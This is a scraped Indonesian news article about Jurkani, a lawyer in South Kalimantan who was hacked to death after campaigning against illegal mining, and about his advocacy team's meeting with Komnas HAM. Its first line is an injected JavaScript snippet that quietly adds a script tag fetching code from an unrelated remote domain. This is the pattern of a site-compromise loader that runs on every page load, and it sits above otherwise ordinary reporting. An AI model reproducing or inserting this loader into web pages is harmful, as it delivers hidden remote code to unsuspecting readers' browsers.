(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tewas Dibacok, Jejak Jurkani Jadi Simbol Perjuangan Rakyat Kalsel Lawan Tambang Ilegal


KANALKALIMANTAN.COM, JAKARTA – Advokat bernama Jurkani tewas setelah mendapatkan perawatan intensif selama 13 hari di Rumah Sakit Ciputra, Kabupaten Banjar, Provinsi Kalimantan Selatan pada 3 November 2021 lalu. Sebelumnya, dia diserang hingga dibacok ketika melakukan advokasi melawan penambangan ilegal di wilayah Tanah Bumbu, Kalimantan Selatan pada 22 Oktober 2021 lalu.

Perjuangan Jurkani yang melawan penambangan ilegal dijadikan simbol perlawanan masyarakat Kalimantan Selatan. Nama Jurkani juga dijadikan akronim dengan kepanjangan “Perjuangan Rakyat Kalimantan Selatan Melawan Oligarki.”

“Maka dari itu Jurkani kami dorong sebagai simbol, sebagai pintu masuk untuk perjuangan advokasi yang jauh lebih besar ini,” kata anggota tim advokasi JURKANI, Muhamad Raziv Barokah, seusai proses audiensi dengan Komnas HAM, Rabu (24/11/2021).

Raviz mengatakan, perlawanan Jurkani terhadap penambangan ilegal bertujuan agar sumber daya alam dan kesejahteraan yang melingkupi betul-betul terbagi secara merata kepada masyarakat. Bukan sebaliknya, untuk kepentingan oligarki.

 

Tim Advokasi JURKANI saat mendatangi Komnas HAM, Jakarta. Foto: Suara.com/Yosea Arga

Baca juga : Legislator dari Gerindra Beri Bantuan Korban Kebakaran di Handel Bere

“Agar sumber daya alam kesejahteraan ini betul-betul terserap terbagi secara proporsional kepada masyarakat sehingga negara kaya SDA ini menjadi berkah untuk kita semua, bukan justru menjadi petaka,” sambungnya.

Kematian Jurkani dalam melawan penambangan ilegal, kata Raviz, bisa saja terjadi pada pihak lainnya. Menurut dia, siapa pun bisa menjadi korban kekerasan ketika melakukan kerja-kerja advokasi seperti apa yang dilakukan oleh Jurkani.

“Dan bukan tidak mungkin bagian dari kita, keluarga kita yang memiliki prinsip idealisme yang tinggi untuk berjuang demi keadilan pun bisa jadi korban di peristiwa-peristiwa seperti ini,” ucap dia.

Sosok Jurkani hingga Tewas

Dalam beberapa bulan terakhir, kata Raziv, Jurkani selaku advokat publik terlibat dalam beberapa penanganan kasus di Kalimantan Selatan. Tercatat, Jurkani sempat mengadvokasi pedagang yang menjadi korban penggusuran di sebuah pasar di kawasan Hulu Sungai Utara.

 

Baca juga : Sukseskan Revolusi Hijau, Santri Ponpes Rakha Amuntai Tanam Pohon di Lingkungan Pesantren

Kemudian, Jurkani juga terlibat dalam kerja advokasi petani sawit di Kotabaru, Kalimantan Selatan yang lahannya diambil paksa oleh perusahaan.Termutakhir, Jurkani terlibat dalam advokasi dalam usaha melawan penambang ilegal di wilayah Tanah Bumbu, Kalimantan Selatan.

“Setahu saya, Jurkani mulai advokasi tambang tersebut sejak 26 Juni 2021,” ucap Raziv.

Dalam usaha menyelesaikan maraknya penambangan ilegal tersebut, Jurkani sempat menjalin dialog dengan para pelaku penambangan ilegal. Hanya saja, hal tersebut tidak berjalan mulus hingga akhirnya dia melapor ke Polda Kalimantan Selatan.

Tim dari Polda Kalimantan Selatan pun sempat turun tangan dan mendatangi lokasi kejadian. Hanya saja, para penambang ilegal itu sudah hilang karena operasi yang hendak dilakukan bocor.

Tidak sampai situ, Jurkani juga sempat melaporkan hal tersebut ke Mabes Polri.

 

Baca juga : Siapkan Kawasan Sebuku Indonesia Industrial Park, SILO-PLN Jalin Kerjasama Listrik 310 MVA

Aparat kepolisian juga sempat memasang garis polisi guna mencegah aktivitas penambangan ilegal berhenti.

“Tapi ketika pihak Mabes Polri ini pulang, police line ini dirusak,” beber Raziv.

Pangkal konflik ini, kata Raziv terjadi pada 22 Oktober 2021. Jurkani yang sedang melakukan pemantauan tiba-tiba mendapati ada sejumlah alat berat di lokasi penambangan.

Jurkani lantas mendatangi pihak penambang ilegal dengan ditemani tim pengaman dari pihak perusahaan untuk berdialog.

“Bahwa saudara ini menambang di wilayah kami, artinya saudara menambang tanpa izin,” kata Raziv menirukan ucapan Jurkani kepada para penambang ilegal, saat itu.

 

Baca juga : Final, SOPD di Pemkab Banjar Disepakati Berjumlah 27

Dialog itu, kata Raziv tidak mencapai titik temu. Hingga pada akhirnya, Jurkani berangkat ke Mapolres Tanah Bambu untuk melaporkan aktivitas penambangan ilegal tersebut. Pada pukul 16.45 waktu setempat, Jurkani memulai perjalanannya ke Mapolres Tanah Bambu.

Memasuki pukul 17.30 waktu setempat, mobil yang ditumpangi Jurkani tiba-tiba diadang sekelompok orang tidak di kenal. Kaca mobil yang ditumpangi Jurkani pecah karena di rusak.

Total ada empat hingga lima unit mobil yang mengadang mobil yang ditumpangi Jurkani. Mereka, menurut informasi yang dihimpun tim advokasi diperkirakan berjumlah 20 sampai 30 orang.

Jurkani yang masih di dalam mobil dilaporkan tidak bisa keluar saat kejadian pengadangan tersebut. Di dalam mobil, kata Raziv, Jurkani sempat menelepon pihak kepolisian serta tim advokat berkaitan dengan pengadangan itu.

Beberapa orang dari kelompok yang melakukan pengadangan itu tiba-tiba melihat sosok Jurkani yang masih duduk di dalam mobil. “Oh, ini Jurkani, ada Jurkani.”

 

Baca juga : Plt Bupati HSU Pimpin Apel Gelar Pasukan Antisipasi Bencana

Setelahnya, kaca mobil dipecahkan oleh kelompok orang tidak dikenal tersebut menggunakan batu. Setelahnya, pintu mobil dibuka dan Jurkani ditarik keluar dari mobil, dan pembacokan dilakukan berkali-kali.

“Itu sopirnya menyaksikan betul peristiwa itu dan sampai sekarang trauma, tingkat traumanya itu depresi tingkat tinggi jadi sulit untuk memberikan keterangan langsung,” ucap Raziv.

Desakan Cari Aktor Intelektual

Raziv mengatakan, kasus penyerangan yang mengakibatkan Jurkani tewas kekinian ditangani oleh Polres Tanah Bumbu. Bahkan, kepolisian telah mengungkap bahwa motif penyerangan terhadap Jurkani karena ada kesalahpahaman.

Dalam kasus ini, dua orang telah ditetapkan sebagai tersangka. Dua orang itu disebutkan dalam kondisi mabuk, kemudian ada kesalahpahaman dan terjadi pembacokan terhadap Jurkani.

“Inilah yang kami ingin buktikan bahwa itu sama sekali dalil yang tidak logis dan tidak benar,” kata Raziv.

 

Baca juga : Akuarium di Lapangan dr Murdjani Akhirnya Diisi Ikan, Spot Swafoto Kekinian di Banjarbaru

Raziv melanjutkan, pihaknya juga mendorong agar kasus pembacokan terhadap Jurkani tidak berhenti pada pelaku lapangan saja. Merujuk pada informasi yang dihimpun tim advokasi JURKANI, ada sekitar 20 sampai 30 orang yang melakukan pengepungan terhadap Jurkani.

Atas hal itu, lanjut Raziv, yang seharusnya dibuktikan adalah kasus pembacokan terhadap Jurkani bukan masalah salah paham sebagaimana yang disebutkan oleh polisi. Kematian Jurkani, kata Raziv, adalah upaya pembungkaman terhadap advokat yang berjuang melawan penambangan ilegal.

“Bahwa untuk mencari, mendapatkan aktor intelektual. Karena peristiwa ini tidak hanya Jurkani saja, sebelum-sebelumnya juga sudah banyak sekali kasus-kasus kriminalisasi, intimidasi, bahkan pembunuhan akibat konflik agraria dan sumber daya ini,” pungkas Raziv.

Respons Komnas HAM

Komisioner Komnas HAM, Choirul Anam mengatakan, pihaknya akan mendalami rangkaian kasus yang berujung pada kematian Jurkani tersebut. Dalam agenda audiensi itu, tim advokasi juga memberikan informasi mengenai kasus penyerangan terhadap Jurkani ke pihak Komnas HAM.

Sejumlah bukti berupa foto dan video yang berkaitan dengan kasus penyerangan itu turut diberikan kepada Komnas HAM. Bukti itu, kata Anam, akan dijadikan bekal untuk bahan pendalaman.

 

Baca juga : Tok! RAPBD 2022 Disepakati di Rapat Paripurna DPRD Kapuas

“Ada video, ada foto, ini yang bakal kami dalami, cuman satu hal yang paling penting adalah peristiwa ini di tempat terang benderang, peristiwa ini memiliki latar belakang yang juga terang benderang,” kata Anam.

Meski demikian, Komnas HAM belum bisa mengambil kesimpulan apapun berkaitan dengan kasus pembacokan yang berujung pada tewasnya Jurkani. Atas hal itu, Anam berharap agar semua pihak, khususnya kepolisian agar terbuka dalam hal proses penanganan kasus tersebut.

“Kami berharap semua pihak terbuka termasuk juga kepolisian. Bagaimana proses penanganan kasus ini,” papar Anam.

Kepada Komnas HAM, tim advokasi JURKANI menyampaikan jika ada hambatan teknis di tingkat kepolisian sektor dalam hal penanganan kasus. Tim advokasi JURKANI juga mendorong agar kasus tersebut ditangani oleh Mabes Polri.

 

Baca juga : Dibunuh karena Lawan Tambang Ilegal, Komnas HAM Diminta Usut Dalang Kasus Tewasnya Jurkani

“Kami baru dapat informasi dan sebagainya, belum mendalami. Tapi untuk menjamin prosesnya baik, polisi juga profesional, ya memang semakin ditangani kepolisian di level paling atas, semakin baik prosesnya.” (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

9 menit ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

8 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

11 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

11 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

15 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

16 jam ago

This website uses cookies.